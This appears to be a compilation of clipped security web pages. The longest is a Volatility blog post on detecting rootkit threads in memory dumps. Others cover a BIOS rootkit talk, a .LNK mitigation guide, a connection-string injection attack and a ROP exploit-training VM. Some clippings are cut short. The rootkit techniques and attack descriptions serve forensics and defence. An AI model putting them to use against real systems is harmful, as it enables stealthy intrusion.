<img src='img/Temp2_10173.png' width='16' height='16' alt='directory' /> |  libsandcall/| January 19, 2011| Initial commit of sandbox junk to github \[dionthegod\]  
<img src='img/Temp2_10173.png' width='16' height='16' alt='directory' /> |  re2dot/| January 19, 2011| Initial commit of sandbox junk to github \[dionthegod\]  
<img src='img/Temp2_10173.png' width='16' height='16' alt='directory' /> |  resnarf/| January 19, 2011| Initial commit of sandbox junk to github \[dionthegod\]  
<img src='img/Temp2_10173.png' width='16' height='16' alt='directory' /> |  sb/| January 19, 2011| Initial commit of sandbox junk to github \[dionthegod\]  
<img src='img/Temp2_10173.png' width='16' height='16' alt='directory' /> |  sbdis/| January 19, 2011| Fix broken modifiers on iOS \[dionthegod\]  
<img src='img/Temp2_10173.png' width='16' height='16' alt='directory' /> |  sbsnarf/| January 19, 2011| Initial commit of sandbox junk to github \[dionthegod\]  
<img src='img/Temp2_10174.png' width='16' height='16' alt='file' /> |  README| January 19, 2011| Add a single line to the README so the github p... \[dionthegod\]  
  
  

README

[code]

    Just a handful of utilities that have helped me examine the design of the
    XNU Sandbox.kext and friends.
    
[/code]

# Core Security Technologies

**Created:**| _7/30/2009 4:14:04 PM_  
---|---  
**Updated:**| _9/18/2009 10:19:47 AM_  
**Author:**| __  
**Tags:**| _papers reversing conference-material_  
  

**BLACK HAT USA 2009**

**Title: **Deactivate the Rootkit  
**Presenter:** Alfredo Ortega and Anibal Sacco, Core Security Exploit Writers  
**Date:** July 30, 2009  
**Location: **Black Hat USA 2009 -- Las Vegas, NV  
**Event Information:** http://www.blackhat.com

**Abstract:**  
Rootkits represent one of the most dangerous breeds of electronic attack in
the world today, as they are designed to conceal their presence on an affected
system while allowing outsiders “unauthorized” access to the machine.
Additionally, rootkits are difficult for users to stop or detect once
successfully executed on the device.

There are three things that you should know about the newly-unearthed
technique discovered by CoreLabs researchers that will be detailed in the
presentation “Deactivate the Rootkit:”

  1. If you have a notebook computer, you probably have the rootkit.
  2. You can’t erase the rootkit, but you should know how to deactivate it.
  3. You should also know how someone else may activate it, repeatedly.

While sophisticated rootkits are very common in targeting most of today’s
popular operating systems, including Windows, Linux, Unix and any variant of
those platforms, consider a rootkit that transcends a device’s operating
system and can tap into the deepest levels of its firmware, giving attackers
the ability to take almost complete control of the system -- and to turn the
rootkit on and off remotely, at their will.

Furthermore, consider that the very capabilities of this rootkit, and the near
impossibility of completely turning it off, are based on legitimate functions
built into the affected computers by their manufacturers – features that would
make this rootkit, if executed, a truly dangerous and persistent threat to
anyone carrying an affected device.

Ortega and Sacco will demonstrate precisely all of the above, and more, in
their brief presentation about BIOS anti-theft technology used in many modern
laptop and desktop computers. The CoreLabs researchers’ discovery demonstrates
that sometimes, even when working in the name of trying to secure a device or
system, new ways of allowing attackers to have their way with ubiquitous
technologies are created.

  * View the research paper
  * View the slide presentation

# hellman/python-libraries - GitHub

**Created:**| _4/7/2011 4:56:32 PM_  
---|---  
**Updated:**| _4/7/2011 4:56:32 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

# Python libraries

## libcolors.py

This module allows to use bash colors. Example:

# MNIN Security Blog: Investigating Windows Threads with Volatility

**Created:**| _4/30/2011 8:48:55 AM_  
---|---  
**Updated:**| _4/30/2011 8:48:55 AM_  
**Author:**| __  
**Tags:**| _Debugging Memory forensics reversing analysis_  
  

### Investigating Windows Threads with Volatility

There are various ways of finding objects and data structures in a memory
dump. Two of the popular ways include list traversal \(or pointer traversal\)
and pool scanning. Depending on which plugin you use, Volatility allows you to
enumerate processes, sockets, connections, and kernel modules using both of
these methods. Regarding threads, however, there is only one plugin, named
thrdscan2, which uses pool scanning. So does that mean you can't use
Volatility to enumerate threads by list traversal? Of course not, Silly\! In
fact, there are several source files, such as ssdt.py by Brendan Dolan-Gavitt,
which shows how it's done. Here's a snippet of that code:  

[code]

    for proc in tasks.pslist(addr_space):  
     for thread in proc.ThreadListHead.list_of_type("_ETHREAD", "ThreadListEntry"):  
         # print thread.ExitTime
[/code]

As shown, in the inner for loop, you would reference members of \_ETHREAD in
an object-oriented manner, just like any other Python class. This gives you
the ability to use or print the data in any way you want. For example, if you
can't identify the owning driver for a thread's start address
\(thread.StartAddress\), then it might be an orphan thread left by a rootkit.
You may also want to know which threads are using an SSDT
\(thread.Tcb.ServiceTable\) with hooked functions. Plugins for Volatility,
which implement both of these checks, are described in Recipe 17.6 Detecting
SSDT Hooks and Recipe 17.8 Finding Rootkits with Detached Kernel Threads of
Malware Analyst's Cookbook.  
  
After careful consideration ;-\) I decided that instead of creating an
individual plugin for each heuristic, we could simply have one which performs
all checks, can be easily extended with other checks, and that more or less
breaths some life into the ability to report on threads in physical memory
dumps. After all, there are lots of memory forensic tools that can enumerate
threads, but output is typically limited to basic information about the thread
\(such as thread ID, owning process, and start/exit times\). From an analysis
perspective, after you've found a thread...what's next?  
  
To help address these issues, I created a new plugin named threads. It uses
whatever heuristics you give it and associates a descriptive tag to threads
found in the memory dump. Then you filter by tag when performing an
investigation. For example, you could ask it to only show threads hidden from
a debugger. To see the list of possible arguments to the threads command, use
it first with -h:  

[code]

    $ python vol.py -f test.vmem threads -h  
    Volatile Systems Volatility Framework 1.4_rc1  
    Usage: Volatility - A memory forensics analysis platform.  
      
    Options:  
    ......  
    -F FILTER, --filter=FILTER  
                       Tags to filter (comma-separated)  
    -A ALLOW_HOOK, --allow-hook=ALLOW_HOOK  
                       Allow SSDT hooks from these mods (comma-separated)  
    -p PID, --pid=PID     Operate on these Process IDs (comma-separated)  
    -L, --listtags        List all available tags
[/code]

To list the existing tags and their descriptions, use the -L flag to the
plugin:  

[code]

    $ python vol.py -f test.vmem threads -L  
    Volatile Systems Volatility Framework 1.4_rc1  
    Tag                  Description  
    --------------       --------------  
    DkomExit             Detect inconsistencies wrt exit times and termination  
    HwBreakpoints        Detect threads with hardware breakpoints  
    ScannerOnly          Detect threads no longer in a linked list  
    HideFromDebug        Detect threads hidden from debuggers  
    OrphanThread         Detect orphan threads  
    AttachedProcess      Detect threads attached to another process  
    HookedSSDT           Detect threads using a hooked SSDT  
    SystemThread         Detect system threads
[/code]

If available , for the threads that meet your filtering criteria, the plugin
will also print the contents of the thread's registers at the time of the
memory dump and disassemble code at the thread's start address. Now let's
discuss each of the heuristics and see some example output.  
  
The OrphanThread Tag  
  
This tag is associated with system threads \(see the SystemThread tag\) whose
StartAddress does not map back to a kernel driver in the PsLoadedModuleList.
It can find threads created by a rootkit that unloads or unlinks its .sys in
order to hide. Here is example output from the plugin on a memory dump
infected with Tigger.  

[code]

    $ python vol.py -f tigger.vmem threads -F OrphanThread  
    Volatile Systems Volatility Framework 1.4_rc1  
    ------  
    ETHREAD: 0xff1f92b0 Pid: 4 Tid: 1648  
    Tags: OrphanThread,SystemThread  
    Created: 2010-08-15 19:26:13  
    Exited: -  
    Owning Process: 0x810b1660 System  
    Attached Process: 0x810b1660 System  
    State: Waiting:DelayExecution  
    BasePriority: THREAD_PRIORITY_NORMAL  
    TEB: 0x00000000  
    StartAddress: 0xf2edd150  
    ServiceTable: 0x80552180  
    [0] 0x80501030  
    [1] -  
    [2] -  
    [3] -  
    Win32Thread: 0x00000000  
    CrossThreadFlags: PS_CROSS_THREAD_FLAGS_SYSTEM  
    f2edd150: 803d782aeff200         CMP BYTE [0xf2ef2a78], 0x0  
    f2edd157: 7437                   JZ 0xf2edd190  
    f2edd159: 56                     PUSH ESI  
    f2edd15a: bef0d0edf2             MOV ESI, 0xf2edd0f0  
    f2edd15f: ff35702aeff2           PUSH DWORD [0xf2ef2a70]
[/code]

There are several key points to note:  
  
\* The start address is 0xf2edd150 and no module name is printed, since it
can't be identified  
  
\* The thread is probably still running, because there is a create time but no
exit time and the thread's state is waiting  
  
\* This is not a GUI thread, because the SSDT\[1\] \(for the win32k.sys Shadow
Table\) is not initialized and the Win32Thread pointer is NULL  
  
The SystemThread Tag  
  
This tag is associated with threads created by calls to PsCreateSystemThread.
You can distinguish these threads because they're owned by the System process,
the PS\_CROSS\_THREAD\_FLAGS\_SYSTEM bit is set in \_ETHREAD.CrossThreadFlags,
and in most cases the \_TEB \(Thread Environment Block\) pointer will also be
NULL. An interesting thing to note about the PS\_CROSS\_THREAD\_FLAGS\_SYSTEM
flag is that it can be set for non-system threads, which on some versions of
Windows can help prevent the thread or owning process from being terminated.
Naturally, some Chinese hacker forums \(visit at your own risk\) site 1 and
site 2 has some source code regarding that fact.  
  
The HookedSSDT Tag  
  
This tag is associated with threads whose \_ETHREAD.Tcb.ServiceTable points to
one or more SSDTs with hooked functions. Depending on how a rootkit installs
SSDT hooks, the hooks may not apply to all threads. To see which threads are
affected and the names of the hooked functions, you can use the following
filter \(example is using BlackEnergy 2\):  

[code]

    $ python vol.py -f be2.vmem threads -F HookedSSDT  
    Volatile Systems Volatility Framework 1.4_rc1  
    ------  
    ETHREAD: 0xff20c6f8 Pid: 1028 Tid: 1284  
    Tags: HookedSSDT  
    Created: 2010-08-15 19:22:11  
    Exited: -  
    Owning Process: 0x80fbf910 svchost.exe  
    Attached Process: 0x80fbf910 svchost.exe  
    State: Waiting:WrLpcReceive  
    BasePriority: THREAD_PRIORITY_ABOVE_NORMAL  
    TEB: 0x7ff95000  
    StartAddress: 0x7c810856  
    ServiceTable: 0xff1ef008  
    [0] 0xff3aab90  
    [0x41] NtDeleteValueKey 0xff0d2487 00004A2A  
    [0x47] NtEnumerateKey 0xff0d216b 00004A2A  
    [0x49] NtEnumerateValueKey 0xff0d2267 00004A2A  
    [0x77] NtOpenKey 0xff0d20c3 00004A2A  
    [0x7a] NtOpenProcess 0xff0d1e93 00004A2A  
    [0x80] NtOpenThread 0xff0d1f0b 00004A2A  
    [0x89] NtProtectVirtualMemory 0xff0d2617 00004A2A  
    [0xad] NtQuerySystemInformation 0xff0d1da0 00004A2A  
    [0xba] NtReadVirtualMemory 0xff0d256b 00004A2A  
    [0xd5] NtSetContextThread 0xff0d2070 00004A2A  
    [0xf7] NtSetValueKey 0xff0d2397 00004A2A  
    [0xfe] NtSuspendThread 0xff0d201d 00004A2A  
    [0x102] NtTerminateThread 0xff0d1fca 00004A2A  
    [0x115] NtWriteVirtualMemory 0xff0d25c1 00004A2A  
    [1] -  
    [2] -  
    [3] -  
    Win32Thread: 0x00000000  
    CrossThreadFlags:  
    Eip: 0x7c90eb94  
    eax=0x7509b647 ebx=0x750a3db0 ecx=0x7c914d8f  
    edx=0x01f7faec esi=0x00000001 edi=0x00000000  
    eip=0x7c90eb94 esp=0x0168fde8 ebp=0x0168ff34 err=0x00000000  
    cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246  
    dr0=0x00000000 dr1=0x00000000 dr2=0x00000000  
    dr3=0x00000000 dr6=0x00000000 dr7=0x00000000
[/code]

Notice in the output that the thread's service table is 0xff1ef008. This
points to an array of 4 SSDTs. The first one at index \[0\] is the Native SSDT
whose base is 0xff3aab90. It contains 14 hooked functions, all pointing to a
driver named 00004A2A.sys. Therefore, when this thread calls any of the 14
functions, it will be routed through a malicious driver.  
  
The -A or --allow-hook parameter to the threads command allows you to specify
the names of drivers that can legitimately set SSDT hooks. For example, if
good.sys \(an anti-virus driver\) hooks the SSDT for all threads and bad.sys
\(a rootkit\) hooks the SSDT for only a few threads, you may want to use the
HookedSSDT filter and only focus on threads hooked by bad.sys. In that case
just specify --allow-hook=good.sys.  
  
The ScannerOnly Tag  
  
This tag is associated with threads identified by the pool scanner only \(not
by list traversal\). This does not mean that a rootkit maliciously unlinked a
thread from the list or that the thread is hidden in some way. It most often
means that the thread has simply exited \(and thus has legitimately been
unlinked\) or the thread belongs to a process that isn't in the
PsActiveProcessHead list. You typically won't set a filter specifically for
ScannerOnly, but you will see it frequently paired with other tags - so its
good to be aware of what it means.  
  
The DkomExit Tag  
  
This tag is associated with threads that are still running but whose ExitTime
has been filled in. Of the existing memory analysis tools that print exit
times, you'll typically see a date or an empty string \(if the ExitTime is all
zeros\). If a rootkit uses Direct Kernel Object Manipulation \(DKOM\) and
fills in a thread's ExitTime, it will appear as if the thread has exited even
if it's still running. Thus relying on the ExitTime alone is something we want
to avoid.  
  
The purpose of the DkomExit check is to cross-reference the ExitTime with
other fields in the \_ETHREAD structure, that if forged, would probably cause
serious problems for the thread. These other fields include the thread's state
\(see \_KTHREAD\_STATE\) and the thread's flags \(see the
PS\_CROSS\_THREAD\_FLAGS\_\* definitions\). To evaluate if this technique will
yield false positives, we have to consider when the kernel sets each of these
fields during a thread's shutdown routine.  
  
For now, let's assume that most threads terminate via NtTerminateThread or
PsTerminateSystemThread. First, both functions call
PspTerminateThreadByPointer, which sets the
PS\_CROSS\_THREAD\_FLAGS\_TERMINATED bit in \_ETHREAD.CrossThreadFlags.
Second, PspExitThread is called, which uses KeQuerySystemTime to fill in the
\_ETHREAD.ExitTime. Third, KeTerminateThread is called, which sets the
\_ETHREAD.Tcb.State to Terminated. So theoretically we should never find an
\_ETHREAD whose State == Terminated but whose ExitTime is still all zeros and
whose CrossThreadFlags does not have the PS\_CROSS\_THREAD\_FLAGS\_TERMINATED
bit set.  
  
Right.....? Wrong\!  
  
KeTerminateThread is exported by the NT module and can be called directly by a
thread already running in kernel mode. In this case, the first and second
steps will be skipped, but the third will be carried out. Here's a call flow
diagram showing these possibilities:  
  
<img src='img/Temp2_5038.png' />Out of the first 15-20 memory dumps from an
assortment of XP, 2003, Vista, 2008, and 7 machines that I used for testing,
there weren't any false positives found for the DkomExit tag. So although its
possible to encounter a false positive, it shouldn't happen frequently...and
now you have an explanation to go along with it.  
  
The HideFromDebug Tag  
  
As described in a Code Project article on Anti-Reverse Engineering \(this may
not be the original source\), a thread can "hide" from a debugger by passing
the HideThreadFromDebugger class to NtSetInformationThread. This doesn't
exactly hide the thread, it just prevents debuggers from receiving events
generated by the thread. Malware may do this to prevent analysts from catching
breakpoints, for example. To detect threads with this special status, we check
if the PS\_CROSS\_THREAD\_FLAGS\_HIDEFROMDBG bit is set in
\_ETHREAD.CrossThreadFlags. Here's an example created by running a compiled
copy of the source code in the above article.  

[code]

    $ python vol.py -f Windows7.vmem --profile=Win7SP0x86 threads -F HideFromDebug  
    Volatile Systems Volatility Framework 1.4_rc1  
    ------  
    ETHREAD: 0x84f5a158 Pid: 4052 Tid: 4080  
    Tags: HideFromDebug  
    Created: -  
    Exited: -  
    Owning Process: 0x84b17998 debugtest.exe  
    Attached Process: 0x84b17998 debugtest.exe  
    State: Waiting:DelayExecution  
    BasePriority: THREAD_PRIORITY_NORMAL  
    TEB: 0x7ffde000  
    StartAddress: 0x778764d8  
    ServiceTable: 0x829a99c0  
    [0] 0x828b06f0  
    [1] -  
    [2] -  
    [3] -  
    Win32Thread: 0x00000000  
    CrossThreadFlags: PS_CROSS_THREAD_FLAGS_HIDEFROMDBG  
    Eip: 0x778764f4  
    eax=0x00000000 ebx=0x7ffdf000 ecx=0x00000000  
    edx=0x778764f4 esi=0x0038fed4 edi=0x00000000  
    eip=0x778764f4 esp=0x0038fe90 ebp=0x0038fef8 err=0x00000000  
    cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246  
    dr0=0x00000000 dr1=0x00000000 dr2=0x00000000  
    dr3=0x00000000 dr6=0x00000000 dr7=0x00000000
[/code]

The HwBreakpoints Tag  
  
This tag is associated with threads that have hardware breakpoints set.
Hardware breakpoints are usually configured by attaching to a process with a
debugger, as shown in the following screen shot.  
  
<img src='img/Temp2_5037.png' />Information about these breakpoints is stored
in each thread's debug registers \(Dr0 - Dr7\) all of which are accessible by
referencing \_ETHREAD.Tcb.TrapFrame. User mode programs can't directly access
these fields, but they can use the Win32 API function GetThreadContext. Once
in kernel mode, this API copies values from the TrapFrame into a CONTEXT
structure that the user mode programs can access. So now you know how to find
EIP, EAX, ESP, EFLAGS, SS, DS, and all that good stuff...in case there is ever
a reason to check those registers in your Volatility plugins ;-\)  
  
As with some of the other topics we've discussed thus far, threads with
hardware breakpoints set are not immediately suspicious. However, it's also
not something you ordinarily see and its not unheard of to use hardware
breakpoints as a stealthy alternative to Trampoline style API hooks. Instead
of overwriting instructions in a function's prologue, a rootkit could set an
On-Execute hardware breakpoint on the address of an API, and then set up an
exception handler that gets called when the breakpoint triggers. Here's an
example of using the filter:  

[code]

    $ python vol.py -f Windows7.vmem --profile=Win7SP0x86 threads -F HwBreakpoints  
    Volatile Systems Volatility Framework 1.4_rc1  
    ------  
    ETHREAD: 0x8538d030 Pid: 2360 Tid: 1004  
    Tags: HwBreakpoints  
    Created: -  
    Exited: -  
    Owning Process: 0x84a488e0 calc.exe  
    Attached Process: 0x84a488e0 calc.exe  
    State: Waiting:UserRequest  
    BasePriority: THREAD_PRIORITY_NORMAL  
    TEB: 0x7ffdd000  
    StartAddress: 0x778764d8  
    ServiceTable: 0x829a99c0  
    [0] 0x828b06f0  
    [1] -  
    [2] -  
    [3] -  
    Win32Thread: 0x00000000  
    CrossThreadFlags: PS_CROSS_THREAD_FLAGS_DEADTHREAD  
    Eip: 0x778764f4  
    eax=0x00d9235b ebx=0x00000000 ecx=0x00000000  
    edx=0x00000000 esi=0x000000f4 edi=0x00000000  
    eip=0x778764f4 esp=0x02ebf7a0 ebp=0x02ebf80c err=0x00000000  
    cs=0x1b ss=0x23 ds=0x23 es=0x23 gs=0x00 efl=0x00000246  
    dr0=0x00d99768 dr1=0x00d9977e dr2=0x00000000  
    dr3=0x00000000 dr6=0xffff0ff0 dr7=0x00700505
[/code]

Notice the dr0 value is 0x00d99768 and dr1 is 0x00d9977e - both of the
addresses shown in the OllyDbg screenshot.  
  
The breakpoints described in this section are thread-specific, since each
thread has its own set of registers. However, there is another set of
processor-specific \(thus affecting all threads running on the processor...or
affinity\) registers where kernel breakpoints can be set. This is how the
malware in Rachit Mathur's Memory forging attempt by a rootkit blog worked,
and I will discuss how to detect that in a separate post later on.  
  
The AttachedProcess Tag  
  
This tag is associated with threads that are "attached" to another process's
address space. Through the use of APIs such as KeAttachProcess and
KeStackAttachProcess, kernel drivers can easily read/write data in any
process's virtual memory. Although there are legitimate reasons why a thread
may be executing in the context of a process other than the process that owns
the thread, there are also malicious reasons. For example, the following
screen shot shows a rootkit using KeAttachProcess so it can write a DLL into
services.exe from kernel mode. Then it queues an APC to start executing at the
DLL's entry point.  
  
<img src='img/Temp2_5039.png' />Before moving on, note that the rootkit calls
KeDetachProcess when its finished writing to the memory of services.exe. For
detection, you must acquire memory after a thread calls KeAttachProcess, but
before it calls KeDetachProcess. Since all this can go down pretty quickly,
there's a slim chance of catching this particular thread "in the act." Another
well known malware family, TDL4 uses a very similar technique \(see section
2.3 Injecting payload into processes\). However, not all rootkits work the
same way. Other malware may attach to a process, scan that process's memory
for credit card numbers every 30 seconds, and only detach when the process
terminates or the system shuts down. In that case, you'll catch it every
time\!  

[code]

    $ python vol.py -f XPSP3.vmem threads -F AttachedProcess  
    Volatile Systems Volatility Framework 1.4_rc1  
    ------  
    ETHREAD: 0x81eda7a0 Pid: 4 Tid: 484  
    Tags: SystemThread,AttachedProcess,
[/code]

HookedSSDT  
Created: 2011-04-18 16:03:38  
Exited: -  
Owning Process: 0x823c8830 System  
Attached Process: 0x81e3c458 services.exe  
State: Running  
BasePriority: THREAD\_PRIORITY\_NORMAL  
TEB: 0x00000000  
StartAddress: 0xb1805f1a windev-5e93-fd3.sys  
ServiceTable: 0x80553020  
\[0\] 0x80501bbc  
\[0x47\] NtEnumerateKey 0xb1805944 windev-5e93-fd3.sys  
\[0x49\] NtEnumerateValueKey 0xb1805aca windev-5e93-fd3.sys  
\[0x91\] NtQueryDirectoryFile 0xb18055ee windev-5e93-fd3.sys  
\[1\] -  
\[2\] -  
\[3\] -  
Win32Thread: 0x00000000  
CrossThreadFlags: PS\_CROSS\_THREAD\_FLAGS\_SYSTEM  
b1805f1a: 8bff MOV EDI, EDI  
b1805f1c: 55 PUSH EBP  
b1805f1d: 8bec MOV EBP, ESP  
b1805f1f: 51 PUSH ECX  
b1805f20: 51 PUSH ECXNotice there are actually 3 tags for this thread. It's a
system thread, its currently attached to services.exe although the "System"
process owns it, and the SSDT has hooked functions. The thread's start address
points to a driver named windev-5e93-fd3.sys which is also the module which
owns the SSDT hooks, meaning the rootkit's own threads are using the modified
SSDT.  
  
Adding new heuristics  
  
Adding new heuristics to the threads plugin is easy. All you do is enter your
criteria in the checks dictionary, with your desired tag as the dictionary key
and some function or equation \(that evaluates to True/False\) as the
dictionary's value. Here are a few examples:  
  
checks\['MyNewTag'\] = thread.ThisField == 0xdeadbeef  
checks\['MyOtherTag'\] = do\_something\(thread\)  
  
Once you've done that, just filter for your new tag:  
  
$ python vol.py -f memory.dmp threads -F MyNewTag  
  
Using Volshell on ETHREAD and KTHREAD  
  
If you need to explore thread-related data structures a little closer, don't
forget about volshell. This let's you investigate values that aren't printed
by existing plugins - without having to write your own plugin. Just break into
a shell and use dt\(\) as shown below.  

[code]

    $ python vol.py -f ds_fuzz_hidden_proc.img volshell  
    Volatile Systems Volatility Framework 1.4_rc1  
    Current context: process System, pid=4, ppid=0 DTB=0x319000  
    Welcome to volshell!  
    To get help, type 'hh()'  
    >>> dt("_ETHREAD", 0x8180b798)  
    [CType _ETHREAD] @ 0x8180B798  
    0x0   : Tcb                            2172696472  
    0x1c0 : CreateTime                     2008-11-26 07:38:25  
    0x1c8 : ExitTime                       2008-11-26 07:40:25  
    0x1c8 : KeyedWaitChain                 2172696928  
    0x1c8 : LpcReplyChain                  2172696928  
    0x1d0 : ExitStatus                     1  
    0x1d0 : OfsChain                       1  
    ......  
      
    >>> dt("_KTHREAD", 0x8180b798)  
    [CType _KTHREAD] @ 0x8180B798  
    0x0   : Header                         2172696472  
    0x10  : MutantListHead                 2172696488  
    0x18  : InitialStack                   0  
    0x1c  : StackLimit                     4162211840  
    0x20  : Teb                            0  
    0x24  : TlsArray                       0  
    0x28  : KernelStack                    4162223128  
    0x2c  : DebugActive                    0  
    0x2d  : State                          4  
    .......
[/code]

Conclusion  
  
At the end of the day, we have a new plugin that combines the functionality of
two older plugins, plus introduces several new heuristics that can help
analyze threads in physical memory dumps. Not all heuristics indicate
something malicious, and not all heuristics are fully safe from carefully
planned DKOM attacks. Furthermore, this plugin's output requires a greater
understanding of Windows internals than other plugins do \(for example, it's
not as self-explanatory as "connections" which prints IPs and ports\).
However, used in the correct manner, this plugin can be extremely useful for
your malware related investigations.

# Mitigating .LNK Exploitation With SRP « Didier Stevens

**Created:**| _7/20/2010 7:35:00 PM_  
---|---  
**Updated:**| _7/20/2010 7:35:20 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit windows vulnerability windows environment_  
  

### Mitigating .LNK Exploitation With SRP

Filed under: Vulnerabilities — Didier Stevens @ 7:13  

As I’ve used Software Restriction Policies \(SRP\) on several occasions in my
blogposts, and several people have suggested using SRP to protect against .LNK
exploitation as an alternative to Ariad, I’ll describe how to configure SRP
for the first time on a workstation that is not a member of a domain. For
domain members, you have to configure SRP in the GPO on the domain controller.

Start the Local Security Policy manager from Control Panel / Administrative
Tools:

<img src='img/Temp2_5391.png' width='180' height='73' />

Software Restriction Policies need to be defined the first time:

<img src='img/Temp2_5386.png' width='629' height='262' />

We exclude our system drive \(C:\) from being restricted \(add other drives if
you have more\):

<img src='img/Temp2_5387.png' width='552' height='228' />

<img src='img/Temp2_5393.png' width='420' height='245' />

To protect against .LNK exploitation, we need to restrict DLLs too, not only
EXEs:

<img src='img/Temp2_5388.png' width='328' height='156' />

<img src='img/Temp2_5394.png' width='420' height='230' />

And finally, switch from blacklisting to whitelisting:

<img src='img/Temp2_5392.png' width='656' height='233' />

<img src='img/Temp2_5389.png' width='419' height='367' />

After configuring SRP, execute a logoff/logon to apply them immediately.

From now on, only executables on your C: drive will be allowed to run.

.LNK exploitation from removable media is blocked:

<img src='img/Temp2_5390.png' width='637' height='445' />

* * *
**Possibly related posts: \(automatically generated\)**

  * Windows 7 Applocker and Software Restriction Policies PT1

  

# Researchers Present Web Application Attack Targeting Database Connection -
Security from eWeek

**Created:**| _2/6/2010 2:15:52 PM_  
---|---  
**Updated:**| _2/6/2010 2:16:04 PM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark new?_  
  
Security Hardware & IT Security Software  
---  
<img src='img/Temp2_6832.gif' width='1' height='1' />

  

# Researchers Present Web Application Attack Targeting Database Connection

  
Share  
By: Brian Prince  
2010-02-05  
Article Rating:<img src='img/Temp2_6830.gif' width='11' height='10' alt='star'
/><img src='img/Temp2_6830.gif' width='11' height='10' alt='star' /><img
src='img/Temp2_6830.gif' width='11' height='10' alt='star' /><img
src='img/Temp2_6830.gif' width='11' height='10' alt='star' /><img
src='img/Temp2_6830.gif' width='11' height='10' alt='star' /> / 0  

  

There are 0 user comments on this Security Hardware & IT Security Software
story.  
  
  
| Rate This Article:  
---  
| Poor Best  
---  
| <img src='img/Temp2_6828.gif' /> E-mail  
<img src='img/Temp2_6829.gif' /> Print  
| <img src='img/Temp2_6831.gif' /> PDF Version  
  
---|---  
**At Black Hat DC, security researchers present a way to hack the connection
between Web applications and the database, a method they call connection
string parameter pollution.**  
  

Two security researchers unveiled a new attack at Black Hat DC that targets
the connection between Web applications and databases.

Independent researcher Jose Palazon and Chema Alonso of security vendor
Informatica64 presented their finding, which they called a CSPP \(connection
string parameter pollution\) attack, at the Black Hat DC conference held Jan.
31 to Feb. 3. The attack exploits insecure dynamic connection strings between
databases and Web applications and potentially allows hackers to swipe user
credentials and manipulate how the application should be authenticated.

"It is very common in Web control panels created to manage databases but also
in some applications using the connection string as an authentication
mechanism; in those environments Web application users are database users,"
Alonso explained. "In that kind of application, if one or some of the
parameters needed to construct the connection string are introduced by the
user, and there is no a good security filter on them, then it's possible to
inject new parameters or to overwrite the value of any of them in the
connection string."

Resource Library:  
---  
A hacker can use this attack to point the Web application to any server and
scan all DMZ servers or perform port scanning against any machine, he
explained.

"Of course, if the attacker has valid credentials \[he or she\] then can
connect the Web application to another internal, forgotten, test, or whatever
database in the DMZ … \[or\] try different tricks, like adding the integrated
security parameter and \[trying\] to get connected using the system account
that the Web application is running on, or simply just to steal its hash."

The duo tested the attack against several products, including MyLittleAdmin
and ASP.NET Enterprise Manager, and notified vendors of their findings.

Connection string attacks are very similar to SQL injections in that they rely
on a lack of good security filtering, Alonso explained. Stating that it is
even easier for an attacker to exploit a connection string vulnerability than
a SQL injection bug, he added that developers need to take the issue
seriously.

"It's important to filter all the user input, but also replace the old
\[database\] connection components in .NET to use the not-so-new
ConnectionStringBuilder," Alonso said. "This object is available in .NET 2.0
and it's secure against these types of attacks."

With that in mind, the two created a free scanner to help security staff test
enterprise account policies for Web servers and application pools.

"This tool looks for SQL Servers and then tries to get connected using the
integrated security set on true," he said. "This means the ASPX is going to
try to get access using the system's account \[that\] the application is
running on. If the company's account policy hasn't been hardened, then \[it
can\] probably get a connection to some database."

The scanner is available here.  
  

# TinySPLOIT2 - Exploit development exercises for ROP

**Created:**| _3/7/2018 8:49:24 AM_  
---|---  
**Updated:**| _3/7/2018 8:49:24 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Jul

20

#  TinySPLOIT2 - Exploit development exercises for ROP

<img src='img/tinysploit2.jpg' width='400' height='333' />

The Exploit Laboratory at Blackhat USA 2015 has stepped up one level. We shall
be teaching our "Black Belt" class on the weekend of August 1,2 featuring
advanced topics such as DEP bypass using Return Oriented Programming and an
in-depth look at Use-After-Free exploits. This shall be followed by our newest
offering on August 3,4 - "The Exploit Lab: Master" class. The Master class is
an uber-advanced class. Students directly attending the Master class are
expected to be proficient with ROP, Use-After-Free exploitation, heap spraying
and debugging techniques.  
  
<img src='img/us-15.png' width='200' height='111' />To put your ROP skills to
the test, we present **TinySPLOIT2** \- a compact Linux virtual machine
featuring three exploit writing challenges, each progressively more difficult.
Getting a shell now requires the use of Return Oriented Programming, some
proficiency with GDB debugging, ELF binary analysis and some clever
innovation.  
  
TinySPLOIT2 is a 350MB VMware image \(78MB zipped\) and can be downloaded
here. SHA256 checksum:
57f6faa605426addcdb46cde976941e89e7317cc05165e93cc8cda42d697dca8  
  
You can be up and running with TinySPLOIT2 in a matter of minutes. Boot up the
VM, follow the instructions on its web page, write an exploit and get a shell.
You will then need to capture the flag to enter rounds 2 and 3. Good luck and
have fun ROP chaining\!  
  
The older TinySPLOIT virtual machine can still be found here.  
  
Blackhat Training prices go up on the 24th of July, so if you are thinking of
registering for the courses, now's the time. See you in Las Vegas in a few
weeks\!  
  

Posted 20th July 2015 by therealsaumil

Labels: 2015, black belt, blackhat, dep, exploit laboratory, exploitlab, ROP,
therealsaumil, tinysploit, tinysploit2, tutorial, vmware

__Tweet  
---  
0

###  Add a comment

  

Comment as:

Sign out

Notify me

  

  *[20th July 2015]: 2015-07-20T04:56:00.000Z

# PCI DSS Fines? Cyber Insurance? How to Estimate the Cost of a Payment Card
Breach

**Created:**| _4/11/2017 8:02:27 AM_  
---|---  
**Updated:**| _4/11/2017 8:02:27 AM_  
**Author:**| __  
**Tags:**| _pci-dss_  
  

  

###  PCI DSS Fines? Cyber Insurance? How to Estimate the Cost of a Payment
Card Breach

How much does a payment card breach cost? How large are the potential fines?
What happens if we aren't PCI DSS complaint and suffer a cardholder breach?  
  
Those are common unanswered questions which businesses accepting and
processing debit and credit card payments raise, businesses which are required
to be compliant with the Payment Card Industry Data Security Standard \(PCI
DSS\). In recent years a growing number of UK businesses are taking out
cybersecurity insurance, and are more pressingly wanting to know whether their
insurance coverage is sufficient enough to cover the cost of a payment card
data breach.  

  

It is not possible to produce a formula or calculator to provide precise
payment card breach costs on a per card lost basis, as no two business payment
operations are ever the same, and there are just too many factors that can
impact the overall cost of a breach. So instead I have put together the
following six pointers to aid the estimation of a payment card breach.  

  

